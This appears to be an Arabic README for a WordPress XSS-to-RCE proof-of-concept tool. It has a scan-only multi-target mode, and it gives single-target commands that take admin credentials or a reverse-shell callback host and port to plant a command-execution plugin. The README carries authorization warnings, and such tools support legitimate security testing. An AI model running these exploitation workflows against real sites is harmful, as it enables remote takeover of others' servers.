
ماسح ضوئي مُصرَّح به لـ WordPress لتحويل XSS إلى RCE، مع كشف انعكاس XSS متزامن على أهداف متعددة وبصمة الإصدار، بالإضافة إلى سير عمل استغلال اختياري.
المطوّر: YogaGymn
أداة PoC/فحص لاختبار أمان WordPress المصرّح به. يحتوي المشروع على سير عمل استغلال لهدف واحد ووضع فحص فقط متعدد الأهداف ومتزامن.
مهم: استخدم هذا المشروع فقط على installations WordPress التي تملكها أو لديك تصريح صريح باختبارها. ماسح الأهداف المتعددة محدود عمدًا بالبصمة واكتشاف انعكاس XSS؛ فهو لا ينفّذ التقاط بيانات الاعتماد، أو رفع الإضافات، أو RCE ضد قائمة أهداف.
يدعم السكربت الأصلي:
auto وxss وdirect.يدعم الماسح المضاف:
ThreadPoolExecutor.الوضع متعدد الأهداف لا يستدعي دوال RCE الأصلية.
requestsثبّت الاعتمادية:
python3 -m pip install requests
إذا كانت توزيعة لينكس الخاصة بك تستخدم بيئة Python مُدارة خارجيًا، فاستخدم بيئة افتراضية:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
استنسخ المشروع أو انسخه:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
أو ببساطة ضع:
xss2shell.py
في دليل العمل الخاص بك.
أنشئ ملفًا باسم targets.txt:
https://example1.test
https://example2.test
https://example3.test
تُتجاهل التعليقات والأسطر الفارغة:
# Authorized lab targets
https://example1.test
https://example2.test
شغّل الماسح الضوئي:
python3 xss2shell.py -i targets.txt
التزامن الافتراضي هو 10 عمال.
على سبيل المثال، استخدم 20 عاملاً:
python3 xss2shell.py -i targets.txt --workers 20
لمختبر صغير:
python3 xss2shell.py -i targets.txt --workers 5
لا تختر عددًا مرتفعًا من العمال دون داعٍ لأنه قد يزيد من حمل الاتصالات وقد يؤدي إلى تفعيل تحديد المعدل أو الضوابط الدفاعية.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
يستخدم ملف scan_results.txt الافتراضي حقولًا مفصولة بعلامات الجدولة:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
مثال:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
الحالة المعنى
XSS_REFLECTION_DETECTED اكتشف الماسح سلوك انعكاس HTML
الذي تم اختباره. هذا ليس بحد ذاته
دليلًا على RCE.
XSS_NOT_DETECTED لم يتم اكتشاف الانعكاس الذي تم
اختباره.
ERROR واجه الفحص استثناءً.يمكن للماسح الإبلاغ عن تفاصيل مثل:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDتصف هذه القيم الاستجابة التي رصدتها روتين الكشف؛ ينبغي التحقق منها يدويًا قبل اعتبار النتيجة ثغرة مؤكدة.
يدعم السكربت الأصلي أيضًا وسائط الهدف الواحد.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
يمكن لسير عمل XSS/المباشر إنشاء أو تنشيط إضافة تحتوي على وظيفة تنفيذ الأوامر. استخدمها فقط داخل بيئة اختبار مصرح بها.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
الوسيطة الوصف
target عنوان URL واحد مستهدف.
-i، --input ملف يحتوي على عدة أهداف.
--output ملف الإخراج لنتائج الأهداف
المتعددة. الافتراضي:
scan_results.txt.
--workers عدد العمال المتزامنين.
الافتراضي: 10.
--mode وضع الهدف الواحد الأصلي:
auto أو xss أو direct.
-u، --username اسم مستخدم WordPress لسير العمل
الأصلي المباشر/الاحتياطي.
-p، --password كلمة مرور WordPress لسير العمل
الأصلي المباشر/الاحتياطي.
--lhost مضيف الاستدعاء/الصدفة العكسية
لنموذج الإثبات الأصلي.
--lport منفذ الصدفة العكسية. الافتراضي:
4444.
--slug معرف الإضافة (slug). الافتراضي:
xss2shell.
--callback-port منفذ خادم الاستدعاء. الافتراضي:
9090.
--no-rev تخطي تفعيل الصدفة العكسية في
سير العمل الأصلي.يستخدم وضع الأهداف المتعددة وحدة Python:
ThreadPoolExecutor
يُقدَّم كل هدف كمهمة فحص مستقلة:
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
تُجمع النتائج عند انتهاء العمال، بينما يُكتب المخرجات النهائية وفقًا لترتيب الأهداف الأصلي.
صُمم وضع الأهداف المتعددة لتقييمات الأمن المصرح بها وبيئات المختبر.
سير العمل الموصى به:
targets.txt.لا تستخدم الماسح ضد أنظمة طرف ثالث دون إذن.
الماسح ليس أداة تقييم ثغرات كاملة.
على وجه الخصوص: